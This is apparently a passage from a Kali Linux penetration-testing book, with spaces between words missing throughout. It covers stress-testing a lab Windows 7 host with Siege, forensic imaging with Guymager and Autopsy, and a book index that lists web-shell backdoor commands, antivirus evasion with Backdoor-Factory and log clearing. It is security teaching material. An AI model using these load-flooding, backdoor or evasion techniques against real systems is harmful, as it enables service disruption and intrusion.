StresstestingWindowsInKali1.xstresstestingwasanopentopic,butinKali2.0stresstestinghasbeendrivenoffthemainmenu.TwoofthetoolsfromKali1.xaregone,DHCPig,andinumdator,butthereshouldbenoproblemfindingagoodsetoftoolsinthe2.0toolbox,nonetheless.
DealingwithDenial
ATK6-Denial6isanIPv6networkstress-testerthatsendspacketstoatargethostandbeatsitintosubmission.ThefirstillustrationisthehelpfileforATK6-Denial6.
Thenextillustrationisthenmap-areadingforthevulnerableWindows7targetmachine.Wewanttofindoutifithasportsopen,andwhichportstheyare.Wecanseethatports139,445,2869,5357,and10243areopen.ThebigproblemwiththistoolisthatthetestnetworkisIPv4.
Let'sfindatoolwithwhichwecanattackourIPv4network.
PuttingthenetworkunderSiege
Siegeisawebstress-tester.ThisisamultithreadedHTTPloadtestingandbenchmarkingutilitythatcanshowhowawebapplicationrespondstoaridiculoudload.Youcanconfigurethetooltosimulateasmanyusersasyourhardwarecansupport.Itisthoseuserswhoplacethewebserver"undersiege".Theoutputdetailstheperformancesoyoucanreallydigintothesoftspotsonanapplication.Performancemeasuresincludethefollowing,whicharequantifiedandreportedattheendofeachrun.Theirmeaningandsignificanceisdiscussedbelow.Siegehasessentiallythreemodesofoperation:
Regression(wheninvokedbybombardment)InternetsimulationBruteforce
Theformatsforusingsiegeare:
siege[options]siege[options][url]siege-g[url]
Siegeimitated15usersgoingtothewebsiteontheWindows7targetmachine.Theperformancewasnotallthatbad,allinall.Therewere8,072hitsonthesiteinfourandahalfminutes.TheWindows7targetmaintained100%availabilitywithbetterthan1/100thofasecondresponsetime.
ConfiguringyourSiegeengine
Whatdoyouthinkwouldhappenifweincreasethenumberofbesiegersto10,000?Theconfigurationisat/usr/bin/siege.config.Whenwerunthatonthecommandline,ittellsuswealreadyhavealocalconfigurationfileat/root/siegerc,solet'sgolookatthat:
Toedit/root/.siegercwecanusethecommandlineorthegnomelauncherAlt+F2toentergedit/root/.siegercorwecouldfindgeditintheUsualApplicationsAccessoriesfolder,andopenthefile,opendialogandturnonthehiddenfiles,thenfind.siegercinthe/rootdirectory.YouareprobablystartingtoseethereasonLinuxadministratorslikethecommandlinesomuch.
Online162oftheconfigurationfile,youwillfindthenumberofconcurrentusers.Thecurrentdefaultis15,butlet'schangethatto10,000.Let'sseeifwecancrackthisbaby.
AfterforcingtheKaliinstancetoclose,let'stryitwithfewerbesiegers.Thelargerthenumberofconcurrentusers,themoreRAMitusesonyourKalimachine,too.
Using625besiegers,wegotasolidresultwithoutcrashingthetestingmachine.In-between,wetested5,000,2,500,and1,250,buttheyallcrashedthemachine.Ifyouhaveasenseoffun,youcouldtesthighernumbers,suchas940,1,090,andsoon.Theresourcesavailableonyourtestingmachinewillrulethenumberofbesiegersyoucanemploy.
SummaryReverseengineeringtogetadefinitiveanswerastotheactualcodeforacomplicatedapplicationisunlikely,sincetherearemanywaystoachievethesameoutputfromloopsorchoicestructures.Itiseasiertogetastatisticallistofpossibletreatmentsoftheinputsbytestingseveralofthem.YouarelikelytogetmoredetailfromlookingattheassemblycodeoutputsfromEDB-Debugger,orOllyDbg.Asyouprobablynoticed,theassemblycodeforLinuxandforWindowsapplicationsarebasicallyidentical.High-levellanguageslikeCandC++arejustwaystogetattheassemblycodethatcanbeeasilyconvertedtomachinecodetotellthemachinewhattodo.
StresstestingyourWindowshostscomesdowntocheckingtheirabilitytotakemanyinputsoverashortperiodoftime,onanyopenportswhatsoever.Remember,whenstresstesting,thatyouwillmakealotofnoiseonthenetwork,andanyintrusiondetectiontoolconfiguredproperlywillnoticeyourattack.Youmayalsoknockthetargetmachineoffthenetwork,soyouhadbetteralertthemanagementbeforeyoustartyourtest.
Chapter10.ForensicsInthischapterwe'regoingCSI.Well,nottheCSIyouseeonCSI—Cyber.Thisistherealdeal.TheremaycomeatimeinyourSysadmincareerwhenyoumayhavetodeliverdatathatmustmaintainaChainofEvidence.TheChainofEvidenceisadocumentedandauditablelistofhow,why,andbywhomevidencewashandled,stored,andexamined.Kaliisyourfriendwhenitcomestothisduty.You'llalsofindthatsomeofthetechniqueswewillusecanalsobehandyindaytodaydataretrieval,copyingdiskimages,andscanningyourownsystemsfordatathatshouldnotbewhereitis–ormaybeisn'twhereyouexpectedittobe.Doingpentesting,wehaveseenalotofcompaniesfailtheircomplianceassessmentsbecausecreditcardandpersonaldataisfoundinthewrongplace.It'samazingwhereemployeeswillrat-holefilesonthenetwork.WewillexploreGuymagerfirst,andthendiveintoAutopsy:
GettingintoDigitalForensicsExploringGuymagerDivingintoAutopsy
GettingintoDigitalForensicsToday,withcomputersystemsusedineverything,whenlegalbattlesorcrimeshappen,sometimesthebulkoftheevidenceinvolvedwillbedigital.Howthechainofevidenceishandledcanmakeorbreakacase.Whenpreformingthird-partypenetrationtestingforPCIorHIPPA,yourcollecteddataisyourevidenceandshouldbehandledjustlikeitwouldbehandledisalegalcase.AChainofEvidenceshouldbelaidoutandfollowedduringtestingandthestorageofyourevidenceaftertesting.Youneverknowwhenwhatyouthinkwillbejustanormaltestmayendupbeingalegalcase.Anexampleiswhenyou'retestingandfindyouarenottheonlyoneonthenetwork.Thenetworkyouaretestinghasalreadybeenbreached.NowyourtesthasturnedintoanIncidentResponsecasewherelegalactionsmaybetaken.Yourtestingdataisnowlegalevidence.Yes,thisdoeshappeninreallife.Bohas,onseveraloccasions,foundhewasn'ttheonlyoneinthenetworkwhiledoingaroutinepenetrationtestforacustomer.Youcouldbetheonewhodiscoversthecluestobringacriminalhackertojustice.Forensicshasalotofdifferentaspectstoit.Youhavetolookatthewholebodyoftheincidentbeinginvestigated.Aforensicinvestigationandthetoolsyouchoosewillvary,dependingonthetypeofinvestigationbeingdone.Aninvestigationofanetworkhackwillbedifferentthananinvestigationintosuspecteddatatheftbyanemployee.Thetoolswewillcoverallhavetheirspecialuseso,mostofthetime,toolswillbeusedinconjunctionwithothertoolstocompleteaninvestigation.
Inmostcases,youwillnotworkwiththeoriginalbutwithacloneofthesystem,inlegalcases.Inthecaseofamachinebeingbreachedandreplaced,youarejustinvestigatingthebreachtoseewhathappened.Inthiscase,besuretouseasandboxednetwork—eitheravirtualonewithnoaccessbuttothevirtualhost,oruseasmallswitchwithnouplinktocreateaphysicallysequesterednetworkwithonlythemachinesneededontheswitchtodotheinvestigation.
ExploringGuymagerOnmostforensicprojects,youwillworkfromanimage,sofirstlet'sgetanimagetoworkwith.Guymagerisaforensicimagerformediaacquisition.IthasaniceGUIandsavesimagesoutinseveralformatsusedinforensicimaging.Theapplicationwillalsomakeacloneofadrive.YoucanfindGuymagerintheUsualapplications|SystemToolsmenu:
Guymagerhastwomodesofsavingfiles:
1. Theacquiremode,whereyoumightwantanimagefordigitalevidence.2. Theclonemode,incaseyouneedtheentirepartitionduplicated.
Thedifferenceis,inacquiremodetheimageisdigitallysignedwithachecksum
Thedifferenceis,inacquiremodetheimageisdigitallysignedwithachecksumandotherinformationtoprovenotamperingoftheevidencehasbeendonetotheimage.Inalegalcase,youwouldpulltwoimages.Youwouldacquireoneanddigitallysignitforevidenceandcloneanothertoinvestigate.Sinceyoureallyneverknowwhetheryourcasecouldbecomepartofalegalproceeding,youmightwanttoalwayspulltwocopiesofthepartitionsyouarecloning.Itcouldbeadisasterifyoudon't.
Inordertopulltheseimages,youwillneedtwodrivesofthesamesizeorlargerthanyourevidencetosavetheseoutto.Onewillbeyourevidencedriveandonewillbeyourworkingcopy.Following,youwillnoticewehavea/dev/sdbconnected.ThiswillbeourUSBdrivethatwewillsaveourclonedimagesto.
StartingKaliforForensics
Thereareseveralwaysyoumightgetthecontentofadiskfortesting:
Youmighthaveacomputerwiththedriveinsitu,whereyouwouldusealive-tobringKaliuponthemachine.Youmightgetadrivesenttoyou,separatefromthemachinetowhichitusedtobeattached.Youmightgetanimagefileonaremovabledrive.Harddriveimagescontainalltheblocksoftheoriginalharddrive,eventheblankspaces,soanimagefilecanbeTerabytesofdata.
Sincethistaskinvolvespreservingthecontentoftheharddrivepartitionasitis,youdonotwanttostartKaliintheusualLive-Diskway.TheLive-Diskmodewritestothehostharddrivefromtimetotime.Ifyouarepresentedwithasystemunit(hostmachine)thathaseithergotfilesthatweredeletedaccidentallyoronpurpose,thefilesmaybeleftentirelyorpartiallyintactonthedrive.YoucertainlywouldnotwanttoinstallKali,whichwouldpartiallyorcompletelyoverwritethedriveundertest.Forthissetoftasks,KalihasaLiveForensicmodethatusestheRAMonthetestmachine,butdoesnotwritetotheharddisk.Itisimportantnottowriteanythingtotheharddrive,whetheritisgoingtobecomeevidenceinacourtcaseornot.Youcannotrecoverfilefragmentsyouhavewrittenoverthemwithotherfiles:
Acquiringadrivetobelegalevidence
Forthisdemo,wewillbeworkingfromaVmwareimageofamachine.Themethodwillbethesameifyouareworkingwithanormalphysicaldrive.Ifyouareworkingwithaharddrive,connecttheharddrivetotheKaliimagingmachineandclicktheRescanbutton.Thiswillrescanalldrivesandyournewlyconnecteddrivewillappearintheinterface.ForaVmwareimage,pickAddspecialdevice.Thiswillgiveyouafilemenusoyoucanpicktheimagefile.Youwouldusethiscommandalsoforotherimagetypes,likebackingupimagesofimagesmadewithddcopythatareonyouralready-attacheddrive:
Following,youwillseewehaveattachedaVmwareharddriveimage.Wealsohaveshowing/dev/sda,whichisouroperatingsystem'sdrive,and/dev/sdb,whichistheUSBdrivetowhichwearewritingourimages:
Tip
Hackertip
Gymagershowsthesizeofthedrivessoyoucanbesureyouhaveroomfromyourcopying.Italsoletsyouknowifanyhiddenpartitionswerefoundintheinitialscan.
initialscan.
First,let'sacquireanimageforevidence:
1. Right-clickontheVmwareimage.2. ClickonAcquire.Youaregivenaninformationblockforinformationto
beembeddedwithintheimageandalsoamethodtochecksumthecopytopreventtampering.
3. Sincethisisanevidencefile,wehavepickedExpertWitnessFormat.Thisformatcanbereadwiththeotherforensictoolswewillbeusinglater.Thisisastandardopenformat,developedbytheindustryforthistypeofwork.FortheEvidenceNumber,let'susethemachinename,two0sasaseparator,andthedate.Here,youcannotusespecialcharactersoryouwillgetanerrorlater.Ofcourse,BoistheExaminerandweaddadescription.
4. Setupthedestination.WearesavingthistothemountedUSBdrivethatismountedat/media/root/usbdisk.
5. Givetheimagefilename.WhenyougivetheimageafilenameitwillalsofillintheInfoFileNamefield.
6. ThedefaultHashcalculationissettoMD5.MD5isconsidereddefunctbyitsinventor,solet'susesomethingelse.Personallywepreferthehighestlevel,solet'schooseSHA-256,asfollows.Thiswillincreasetheimagingtime,
butitisworthit.7. (Optionalstep)Inalegalsituationyouwillwanttoalsoverifytheresults.
Asstated,thiswilltaketwiceaslong.8. ClicktheStartbuttontorun:
Inthefollowingscreenshot,Guymagerisrunning:
OnceGuymagerhasfinisheditsrun,youwillseethefollowingscreen.Thebottomsectionwillgiveyoutheinformationontheimageandtheruntime:
CloningWithGuymager
IfyouarejustusingGuymagertoclonethepartition,thetaskismucheasier.ThisisasecondKalisetup,sothedrivenamesaredifferent.Right-clickonthepartitionyouwanttoclone,asshowninthefollowing:
Youwillthengetthefollowingwindow:
1. Highlightthepartitionthecloneisgoinginto.2. SettheInfoDirectory.3. Setthedestinationfilename.Again,youwillnotbeabletousespecial
charactershere-,_or+.4. Setthechecksumhashtype.5. (OptionalStep)Checktheboxtoverifythefile.Thisisjustbestpracticeto
dowithanyimagingyoudo.Youwouldn'twanttowasteyourtimedoinganalysisonacorrupteddriveimage.
6. ClicktheStartbuttontorun.
ThefollowingscreenshotistheveryhelpfuldialogthatshowsthedrivesattachedtotheKalibox.Theonlydrivebigenoughtotaketheentirecontentofthedevicebeingclonedistheseconddrive,with107.4GBtotal.Thesizesherearethefullsizeofthedevice.Ifyoualreadyhadsomethingtakinguphalfofthe107.4GB,yourcloningwouldeitherfailoroverwritetheexistingdata:
Whenthecloningprocedureiscomplete,youcanmountthereceiverpartitionandyourclonedpartitionwillbeavailableunderthenameyougaveit.Followingispartoftheinfofileforthiscloning,showingtheSHA-256hashandverification.TheCloningandVerificationprocesstookabout19minutes:
DivingintoAutopsyAutopsyisanopensourcewebapplicationthatismeanttobeaGUIfrontendforusingtheSleuthKit.ItisbuiltonthetraditionalLAMPstack.YoumayuploadimagefilestoAutopsyandthenexamineandanalyzethem.Itprovidesthesamebasicfunctionalityofother,moreadvancedforensicsuitessuchasX-ways,Encase,orFTK,inthatyoucanmanagemanydifferentcases,exportdata,easilyviewmetadata,andperformstringsearches.However,youcannotperformothermoreadvancedfunctions,suchascarveforfiles.
TouseAutopsy,gototheForensicssectionoftheApplicationsmenuandclickonAutopsy.Autopsyisaweb-basedapplication,soaterminalwindowwillopenandstartAutopsy'sservices.You'llneedtoleavethiswindowopen.Closingthiswindowwillkilltherunningservices:
Asshownintheprecedingimage,touseAutopsy,openawebbrowserandgotohttp://localhost:9999/autopsy.Thehomepagewillopen,allowingyoutosetupanewcaseoropenanexistingcase.Sincethisisthefirsttime,wewillopenanewcase.Autopsydoesn'thavealogin,soitisbesttousethisonlyonaprotectednetwork.AlsonoteinthefollowingscreenshotthatthesitegivesyouawarningthatJavaScriptisenabled.Weareusingthisonaprotectednetwork
withnoInternetaccesssothisisn'taproblem(lovethehounddog):
ClickontheNEWCASEbuttontocreateanewcase.Thiswilltakeyoutothefollowingpage:
1. EnteraCaseName.Thisnamecannothavespecialcharactersorblankspaces,onlynumbersandletters.
2. (Optionalstep)Addadescriptionifyoulike.Ifyoudoalotofthese,itisprobablyagoodideatohaveacleardescription.
3. Addaninvestigator'sname.Thisisusedtolabeldatainthedifferentprocesses,whichishandyinreportsandisabsolutelynecessarywhengatheringlegalevidence.
4. ClicktheNEWCASEbutton:
1. Filloutthehostnameusingthemachine'sFQDN.2. (OptionalStep)Addadescriptionifyoulike.3. EntertheTimezone.Ifleftblankitwillusethesystem'stime.4. (OptionalStep)YoucanalsosetaTimeskewtoshowhowmanyseconds
thetargetcomputerdiffersfromstandardtime,whichnormallyisn'tneeded.5. (OptionalStep)Sincewearesettingupanewhostwithanewimage,we
willnotneedtoaddapathtothehashdatabases.6. ClickontheNextbuttontocontinue:
Youwillthenbegiventhefollowingpage.ClickonADDIMAGEFILE:
We'regoingtousetheWindows7imagewepulledusingGuymagerearlier.OurimagesareonamountedUSBdriveandourpathinthisdemois/media/root/usbdisk/win70020160202B.*.Thisisadiskimagewepulledusingthe.ddformat.Whenwepulledthisimage,aninfofilewasalsocreatedalongwiththe.dddataimage.Asshowninthefollowing,whenaddingthefilepathtotheimage,endtheimagenamewith.*.Thiswillwildcardtheimageandreadboththeinfofileandthedatafile.ThisisalsohelpfulwhenusinganEncaseimagethathasbeendividedintoimageslices.WhenusingthiswithEncase,orGuymageroutputtinginEncaseformat,you'llhaveseveraldatafilesendingin.Exx(thatis,E01,E02,E03).Usingthewildcardinthefilenamewillfindalltheseimageslicesandcombinetheminausableandsearchableformat.Theinfofilewillimportthemetadatafromthecloningprocessforinvestigation.
Sincethisisanimage,picktheImageradiobutton.
IfyouhaveastandalonesystemforthistaskwithalargeamountofspaceyoucanchooseeitherCopyorMoveradiobutton.SinceweareusingaUSBdiskversionwithnotmuchspace,wehavechosentheSymlinkradiobutton.ThisallowstheactualdatatoremainonthemounteddiskandjustimportsthenecessarymetadataandsetsupsymlinkstotheactualdataintoAutopsy.Thissavesonlocalstoragespace.ClicktheNextbuttontostarttheprocess:
Thenextpageshowsyouthefilesfoundtoverifybeforerunningtheanalyzedimage.Inthefollowing,weseetheimagefileandtheinfofile.Clicknexttoverifythefiles:
ThisbeingaVmwareimage,itdoesn'tknowthefilesystemtype.ThisisOK;however,inthismodeyoucannotseethefiletree.Allofthedataisstillsearchableandretrievablebythesectorsratherthanthroughafiletree.Sincethiswasmadeusingtheddtool,thisisadiskimage,sopicktheDiskImageradiobutton.SincethisisWindows,pickdosasthefilesystemtypefromthedrop-downmenu.ThenclickontheOKbutton:
Next,youarepresentedwiththeDiskImageDetailspage.Hereyoucansetupaverifiablehashforthefilesystem.Thisisneededinlegalinformation.Thehashisaprovenwaythedatahasnotbeentamperedwith.Ifyoudochoosetorunthehash,besureandpicktheVerifythehashafterimportingcheckboxtocheckthatthingsworkedfine.ClicktheADDbutton:
Thiswilltakeawhile,dependingonthesizeoftheimage.Onceyouhavedoneacoupleofdozen,youwillbeabletogaugeapproximatelyhowlongittakesforyoursetuptoruntheanalysis.Getacupofcoffee,andrelax:
Oncethisisrun,youwillseethefollowingpage.Thisshowsthedetailsoftheimport,thehashvalueoftheimport,andtheevidencelockerimagename.NotethatyouhavetheabilitytoaddanotherimagebyclickingontheADDIMAGEbutton.ThiswilltakeyoubackthroughthesamestepstoimportanotherimagetothesameCase.Ifyouhaveonlyoneimage,thenclickOKtocontinue:
Clickingonthedetailslinkwillgetyouapageshowingthedetailsoftheimportedimage.YouarealsogivenanEXTRACTSTRINGSbutton.Onthefirstsetupofanimage,youwillwanttorunthis.Itwilltakeawhile,butitwillspeedupyoursearches:
Oncethisisrun,you'llseetheresults.ClickingImageDetailsgivesyouapagewiththeimagesdetails.TheKeywordSearchlinktakesyoutothesearchpage:
AfterclickingtheKeywordpage,youcanuseregularexpressionstosearchthesectorsfordataineitherinASCIIorHex.Previoussearchesanddefaultsearchesarelistedasbuttonsnearthebottomofthepage:
Ifwerunasearchforpassword=,wegetthefollowingresult.Wehaveclickedoneofthelinksintheleft-handcolumn.TheinfopaneshowsthatwehavepulledupaconfigurationfilefortheIISemailservice:
Inournextexample,wewilluseanactualharddiskimagefromaWindows7machine.Inthisexample,youcanseethatwehavebasicallymountedthefilesystem,andhaveafiletreetoworkwith.Usingthismethod,wehavealotmoresearchtools,includingtheabilitytorecoverdeletedfiles.
Firstwesetupanewcaseaswedidinthepreviousexample,rightuptowhereweAddaNewImage.Thistime,wepickpartitioninsteadofdisk,aswedidinthepreviousexample.
Asseeninthefollowing,firstenterthepathtothediskimage.ThenclickthePartitionandtheSymlinkradiobuttonsandclickNEXTbutton:
Thistimewearegoingtoignorecalculatingahashfortheimagetosaveyoufromreviewingthehashingprocess,andtosavetimeintheexercise.Donotskipthisstepifyouareprocessingrealphysicalevidence.Notethatthistimewehaveasectionwherewesetamountpoint,andsetthefilesystemtypetoNTFSinthedrop-downbox.Bydefault,themountpointsetisC;ifthiswasadifferentdriveontheoriginalmachine,changeittomatchtheoriginaldrivesetup:
Yougetaninstructionpageaskinghowyouwanttoanalyzethedisk.PickFILEANALYSIS:
ThisbringsyoutotheFileBrowsingpage.Wehaven'tsearchedyet,sothecontentareaisempty.Totheleft,wehavethreewaystobrowsethedisk.Thefirstsectionyoucanviewbynamingadirectorytobrowse,byenteringthenameofthedirectoryinthetextfilesandclickingVIEW.Next,youcansearchthewholediskforfilescontainingtheresultsofaregularexpressionsearch.The
thirdsectionyoucanbrowsefordeletedfiles,andinthelastyoucanexpandthedisktoseeallthedirectoriesonthedisk.
First,let'slookfordeletedfilesbyclickingtheALLDELETEDFILESbutton:
AfterclickingtheALLDELETEDFILESbutton,Autopsyrunsasearchofdeleteddata.Byclickingthelink,therawdataofthefileshowsinthewindowbelowthefiletree.Bearinmindthisisdeleteddata,sosomeinformationinthesefilescouldbecorrupted:
ByclickingtheEXPANDDIRECTORIESbutton,weseethefiletreeofthepartition.Asyoucanseeinthefollowingexample,hiddensystemdirectoriescanbeseenandviewed.Deletedinformationisshowninred:
Below,wearegoingintotheC:\Usersdirectoryandpullingafile'sinformation.GoingintotheUsersdirectory,wefindanaccountcalledwhalton.Goingintothisaccount,wefindtheworkingdataforthisbook:
WhenyouclicktheReportlink,Autopsygeneratesareportonthefile,whichincludeshiddensystemmetadata.UsingtheExportlink,thisreportcanbeexportedforlateruseinareport.
ByclickingtheFILETYPEbuttonwecanviewbyfiletypes.Usingthis,youcansorttheimageandpullacopyofthesortedfilestoadirectoryontheKalimachine.Youcanalsosetittojustpullimages,andsavethemasthumbnailimages.SinceweareusingasmallVM,andinspectingadiskdumpfromareallaptop,wewon'thaveroomtomakeacopyofthesortedfiles.Inaninvestigation,youwouldwanttodothissothatyoucansearchthecopiedfileswithoutreallytouchingthediskimageinevidence.Thesameistruewhenusingthephotoimagetool.
ClicktheOKbutton,andAutopsystartstoanalyzeandsortthefilesbyfiletypes.Thiswilltakeawhile.Timeformorecoffee:
Thefollowingimageshowsthefiletypeanalysisrunning:
OK,afteragoodcupofcoffee,andawalkinthewoods,wenowhavesorteddata.Thesummarygivesabreakdownofthenumberandtypesoffilesonthesystem.Wecanalsoseethenumberofnon-filesandreallocatedfilenames.Wealsohavealistofthenumberofeachtypeoffileonthemachine:
WhenclickingontheSortFilesbyTypelink,wegetanerrorthatAutopsydoesnotsupportviewingsortedfiles,butyoucanviewthefilesatthepathshown.(Seemstheycouldhavemadethisalink).Noworries.Copythepathshown,andopenanothertabinyourbrowserandpastethepathintheaddressbarofthenewtabandhitEnter:
Afterenteringthefilepathonthenewtab,youwillseethefollowingpage,withlinksleadingtothefileinformationbytype:
Byclickingoneofthelinks,weseethefileinformation.Let'sclickdocumentsanddoalittlelooking.Oncethedocumentspagehasloaded,wecanusethebrowser'sFindcommandtosearchfordocumentnames.Herewearesearchingforfileswiththestringpasswordinthename:
ThishasexplainedthebasicfunctionsofAutopsy.Formoreinformationandfulldocumentation,pleaseseetheirwebsiteathttp://www.sleuthkit.org/informer/.
MountingimagefilesThefollowingresourcelistgivesyoumuchmorein-depthcoverageofmountingimagefiles,andotherusefulsourcesforyourfutureforensicsadventures:
http://www.linuxquestions.org/questions/linux-general-1/how-to-mount-img-file-882386/http://unix.stackexchange.com/questions/82314/how-to-find-the-type-of-img-file-and-mount-ithttps://major.io/2010/12/14/mounting-a-raw-partition-file-made-with-dd-or-dd_rescue-in-linux/http://www.sleuthkit.org/autopsy/v2/
SummaryInthischapter,youlearnedseveralwaystocollectimagesofharddrivesforforensicanalysiswithGuymager,aswellassomeexampleanalysisrunswiththeAutopsytool.Assuggested,thereareseveralnativeLinuxtoolsavailabletohelpyoucollectandanalyzeforensicdatafromdrivesorpartitions.
Wearelookingforwardtohearingyourexperiencesinforensics.Pleasesendyoure-mailstousthroughthepublisher'ssite.
IndexA
advancedfootprintingusing/Usingadvancedfootprintingscan,interpreting/Interpretingthescanandbuildingontheresultpoorpatchmanagement,exploiting/Exploitingpoorpatchmanagementloggedinuser,checkingfor/Findingoutwhetheranyoneishome
Antivirusevading,Backdoor-Factoryused/UsingBackdoor-FactorytoEvadeAntivirus
Armitageabout/ArmyourselfwithArmitageFindAttacks/ArmyourselfwithArmitageHailMary/ArmyourselfwithArmitagesingleknownhost,workingwith/Workingwithasingleknownhostnewmachinesdiscovering,NMapused/DiscoveringnewmachineswithNMap
attackpathcreating/Creatingtheattackpathsystem,grabbingontarget/Grabbingsystemonthetargetroute,settingup/SettingUptherouteinnernetwork,exploring/ExploringtheinnernetworkWindowsNETUSEcommand,abusing/AbusingtheWindowsNETUSEcommand
Autopsyabout/DivingintoAutopsyusing/DivingintoAutopsyURL/DivingintoAutopsycase,creating/DivingintoAutopsyhost,adding/DivingintoAutopsydiskimage,adding/DivingintoAutopsyfiles,verifying/DivingintoAutopsyverifiablehash,settingup/DivingintoAutopsyimage,adding/DivingintoAutopsy
BBackdoor-Factory
used,forevadingAntivirus/UsingBackdoor-FactorytoEvadeAntivirus
Booleanlogicabout/WorkingwithBooleanlogicWhileloopstructure,reviewing/ReviewingawhileloopstructureForloopstructure,reviewing/Reviewingtheforloopstructure
bufferoverflowsreducing/Reducingbufferoverflows
bugabout/Demystifyingdebuggers
BurpSpiderused,forspideringsite/SpideringasitewithBurpSpider
BurpSuiteusing,forsearch/SearchanddestroywithBurpSuiteusing,fordestroy/SearchanddestroywithBurpSuiteabout/SearchanddestroywithBurpSuitetestsubject,targeting/Targetingthetestsubjectusing,asproxy/UsingBurpSuiteasaProxysecuritycertificate,installing/InstallingtheBurpSuitesecuritycertificatesite,spideringwithBurpSpider/SpideringasitewithBurpSpider
CCapstone
disassemblingcode,creating/CreateyourowndisassemblingcodewithCapstoneURL/CreateyourowndisassemblingcodewithCapstone
Casefileabout/UsingMaltego
Casestructuresabout/WorkingwithBooleanlogic,Understandingthedecisionpoints
chntpwused,forowingregistry/Owningtheregistrywithchntpw
ClasslessInter-DomainRouting(CIDR)about/UsingUnicorn-ScanURL/DiscoveringnewmachineswithNMap
clearev/Exploringtheinnernetworkcommand-lineapplication
about/Wherecanyoufindinstructionsonthisthing?Helppage/Wherecanyoufindinstructionsonthisthing?Manpage/Wherecanyoufindinstructionsonthisthing?Infopages/Wherecanyoufindinstructionsonthisthing?
CommandLineInterface(CLI)about/Zenmap
commands$audit_suidsgid/GettinghelpinWeevely$audit_phpconf/GettinghelpinWeevely$audit_etcpasswd/GettinghelpinWeevely$audit_filesystem/GettinghelpinWeevely$shell_php/GettinghelpinWeevely$shell_sh/GettinghelpinWeevely$shell_su/GettinghelpinWeevely$system_extensions/GettinghelpinWeevely$system_info/GettinghelpinWeevely$backdoor_reversetcp/GettinghelpinWeevely$backdoor_tcp/GettinghelpinWeevely$bruteforce_sql/GettinghelpinWeevely
$file_cd/GettinghelpinWeevely$file_grep/GettinghelpinWeevely$file_find/GettinghelpinWeevely$file_rm/GettinghelpinWeevely$file_cp/GettinghelpinWeevely$file_zip/GettinghelpinWeevely$file_enum/GettinghelpinWeevely$file_check/GettinghelpinWeevely$file_edit/GettinghelpinWeevely$file_upload2web/GettinghelpinWeevely$file_gzip/GettinghelpinWeevely$file_download/GettinghelpinWeevely$file_touch/GettinghelpinWeevely$file_webdownload/GettinghelpinWeevely$file_ls/GettinghelpinWeevely$file_read/GettinghelpinWeevely$file_mount/GettinghelpinWeevely$file_bzip2/GettinghelpinWeevely$file_tar/GettinghelpinWeevely$file_upload/GettinghelpinWeevely$sql_console/GettinghelpinWeevely$sql_dump/GettinghelpinWeevely$net_scan/GettinghelpinWeevely$net_curl/GettinghelpinWeevely$net_proxy/GettinghelpinWeevely$net_ifconfig/GettinghelpinWeevely$net_phpproxy/GettinghelpinWeevely
corecommands?/StartingMetasploitprevious/StartingMetasploitback/StartingMetasploitpushm/StartingMetasploitbanner/StartingMetasploitquit/StartingMetasploitcd/StartingMetasploitreload_all/StartingMetasploitcolor/StartingMetasploit
rename_job/StartingMetasploitconnect/StartingMetasploitresource/StartingMetasploitedit/StartingMetasploitroute/StartingMetasploitexit/StartingMetasploitsave/StartingMetasploitget/StartingMetasploitsearch/StartingMetasploitgetg/StartingMetasploitsessions/StartingMetasploitgo_pro/StartingMetasploitset/StartingMetasploitgrep/StartingMetasploitsetg/StartingMetasploithelp/StartingMetasploitshow/StartingMetasploitinfo/StartingMetasploitsleep/StartingMetasploitirb/StartingMetasploitspool/StartingMetasploitjobs/StartingMetasploitthreads/StartingMetasploitkill/StartingMetasploitunload/StartingMetasploitload/StartingMetasploitunset/StartingMetasploitloadpath/StartingMetasploitunsetg/StartingMetasploitmakerc/StartingMetasploituse/StartingMetasploitpopm/StartingMetasploitversion/StartingMetasploit
CoreFTPabout/Basicsniffingwithtcpdump
cross-sitescriptingquicksolutions/Quicksolutionstocross-sitescripting
Ddatabaseback-endcommands
creds/StartingMetasploitdb_status/StartingMetasploitdb_connect/StartingMetasploithosts/StartingMetasploitdb_disconnect/StartingMetasploitloot/StartingMetasploitdb_export/StartingMetasploitnotes/StartingMetasploitdb_import/StartingMetasploitservices/StartingMetasploitdb_nmap/StartingMetasploitvulns/StartingMetasploitdb_rebuild_cache/StartingMetasploitworkspace/StartingMetasploit
datastructuresabout/WorkingwithBooleanlogic
DebianNcursesabout/RunningKalifromtheliveCD
debuggersabout/Practicingreverseengineeringdemystifying/DemystifyingdebuggersValgrindDebugger,using/UsingtheValgrindDebuggertodiscovermemoryleaksapp,translatingtoassemblerwithEDB-Debugger/TranslatingyourapptoassemblerwiththeEDB-DebuggerOllyDbg,executing/RunningOllyDbg
DecisionPointsabout/WorkingwithBooleanlogic
decisionpointsabout/Understandingthedecisionpoints
Denialabout/DealingwithDenial
DenialofService(DoS)about/Choosingtheappropriatetimeandtool
DigitalForensicsabout/GettingintoDigitalForensics
disassemblersabout/IntroductiontodisassemblersJAD,executing/RunningJADdisassemblingcode,creatingwithCapstone/CreateyourowndisassemblingcodewithCapstone
disassemblytoolabout/Practicingreverseengineering
domainerrorspoofing/Spoofingnetworktrafficdomainspoofing/SpoofingnetworktrafficDradis
about/Dradis–theweb-baseddocumentorganizerconfiguring/Dradis–theweb-baseddocumentorganizerURL/Dradis–theweb-baseddocumentorganizer
Dropboxabout/TheDropbox
EEDB-Debugger
app,translatingtoassembler/TranslatingyourapptoassemblerwiththeEDB-Debuggersymbolmapper/EDB-Debuggersymbolmapper
emailspoofing/SpoofingnetworktrafficencryptedUSBdrive
KaliLinux,installing/InstallingKaliLinuxtoanencryptedUSBdrive
EtherApeabout/Monkeyingaroundthenetworkexecuting/Monkeyingaroundthenetwork
Etherapeinstalling/EtherApe–thegraphicalprotocolanalysistoolconfiguring/EtherApe–thegraphicalprotocolanalysistool
Ettercapabout/Ettercapusing,oncommandline/UsingEttercaponthecommandline
executablereplacing/Replacingtheexecutable
FFootprinting
about/FootprintingthenetworkForensics
Kali,using/StartingKaliforForensicsonlineresources/Mountingimagefiles
Forloopstructure,reviewing/Reviewingtheforloopstructuredecisionpoints/Understandingthedecisionpoints
GGedit
installing/Gedit–theGnometexteditorconfiguring/Gedit–theGnometexteditor
geditabout/UsingtheValgrindDebuggertodiscovermemoryleaks
getsystem/GainingaccesswithMetasploitGraphicalInstaller
about/RunningKalifromtheliveCDGuymager
about/ExploringGuymagerexploring/ExploringGuymagerdrive,acquiringforlegalevidence/Acquiringadrivetobelegalevidenceused,forcloning/CloningWithGuymager
H.htaccess
about/Conceptof.htaccesshostscommand
using/UsingthehostsandservicescommandsHtop
